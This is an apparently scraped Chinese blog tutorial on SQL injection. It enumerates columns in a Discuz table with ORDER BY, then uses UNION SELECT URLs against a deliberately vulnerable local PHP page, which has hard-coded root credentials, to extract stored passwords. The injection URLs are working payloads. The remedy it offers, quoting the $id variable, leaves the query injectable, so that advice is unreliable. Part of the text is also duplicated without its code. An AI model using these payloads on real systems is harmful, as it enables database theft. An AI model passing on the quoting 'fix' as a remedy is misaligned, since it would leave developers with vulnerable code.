SQL注入的几种实用办法
2015-12-29 11:55
525 查看
一、查询表中包含有多少列:
这里以DISCUZ举例说明,如下
返回,Unknown column '80' in 'order clause',这样可以判定一定小于80列,下面再试用 39
正常返回了数据,我们判定一定大于等于39,因此只要再试一下40就可以了,这里略过试用,对于开源程序,我完全可以知道他就是有39列。
二、构造参数,读取数据库中的密码
这里以本地创建的一个表为例,前提是参数没有被过滤等操作,表 account 含有三个字段,分别为 id,admin,password
表内包含数据为:
创建PHP读取数据库文件 x.php:
访问地址 http://127.0.0.1/x.php?id=2 返回数据 test,到这里开始SQL的注入使用,构造参数后的地址
在返回数据中,发现2被返回了,因此,需要修改这里的2位置为想要的字段内容,比如说 password ,即地址修改为
执行地址后返回数据:
这样密码就得到了。
当然这里只是简单的举例说明,没有对密码进行MD5加密,如果是MD5加密或其它加密的话,仍然需要接下来的破解,就不是这里主要讲述的内容了。
此问题的解决办法,说一个最简单的吧 ,将SQL语句 $sql = "SELECT * FROM `account` WHERE id = " . $id; 修改为
这里以DISCUZ举例说明,如下
select * FROM pre_forum_thread ORDER BY 80
返回,Unknown column '80' in 'order clause',这样可以判定一定小于80列,下面再试用 39
select * FROM pre_forum_thread ORDER BY 39
正常返回了数据,我们判定一定大于等于39,因此只要再试一下40就可以了,这里略过试用,对于开源程序,我完全可以知道他就是有39列。
二、构造参数,读取数据库中的密码
这里以本地创建的一个表为例,前提是参数没有被过滤等操作,表 account 含有三个字段,分别为 id,admin,password
表内包含数据为:
1 admin 12345678 2 test 134545
创建PHP读取数据库文件 x.php:
<?php $link = mysql_connect('127.0.0.1','root','11111111'); mysql_select_db('xtest',$link); $id = isset($_GET['id'])?$_GET['id']:1; $sql = "SELECT * FROM `account` WHERE id = " . $id; $query = mysql_query($sql); while($row = mysql_fetch_array($query)){ echo $row['admin'] . "<br/>"; } ?>
访问地址 http://127.0.0.1/x.php?id=2 返回数据 test,到这里开始SQL的注入使用,构造参数后的地址
http://127.0.0.1/x.php?id=2 union select 1,2,3 from `account` where id=2
在返回数据中,发现2被返回了,因此,需要修改这里的2位置为想要的字段内容,比如说 password ,即地址修改为
http://127.0.0.1/x.php?id=2 union select 1,password,3 from `account` where id=2
执行地址后返回数据:
test 134545
这样密码就得到了。
当然这里只是简单的举例说明,没有对密码进行MD5加密,如果是MD5加密或其它加密的话,仍然需要接下来的破解,就不是这里主要讲述的内容了。
此问题的解决办法,说一个最简单的吧 ,将SQL语句 $sql = "SELECT * FROM `account` WHERE id = " . $id; 修改为
$sql = "SELECT * FROM `account` WHERE id = '$id'";
三、在第二个问题中,发现用户是使用了 while将所有数据进行循环得出的数据,如果用户不是循环,而是直接输出了最后一条数据怎么办呢?
这时,只要将参数重新修改,就可以只返回union回来的数据了,如下
http://127.0.0.1/x.php?id=3 union select 1,password,3 from `account` where id=2
因为表里面没有这条id=3的数据,又或者
http://127.0.0.1/x.php?id=2 and 1=2 union select 1,password,3 from `account` where id=2
这里很明显 1和2是不相等的
相关文章推荐
- MYSQL中用正则筛选一定的数据
- Mysql命令行修改字段类型
- PostgreSQL学习手册(客户端命令<二>)
- PostgreSQL学习手册(客户端命令<一>)
- PostgreSQL学习手册(系统视图)
- oracle扩展表空间的三种方法
- PostgreSQL学习手册(系统表)
- PostgreSQL学习手册(数据库维护)
- PostgresSQL数据库操作命令
- PostgreSQL学习手册(数据库管理)
- PostgreSQL学习手册(角色和权限)
- Windows zip版本安装MySQL
- PostgreSQL学习手册(性能提升技巧)
- PostgreSQL学习手册(事物隔离)
- SqlDataReader的关闭问题,报错:“阅读器关闭时尝试调用 Read 无效”
- mysql 禁止自动提交设置
- MySQL慢查询日志
- RedisHelper帮助类
- PostgreSQL学习手册(索引)
- SQL Server获取下一个编码字符实现继续重构与增强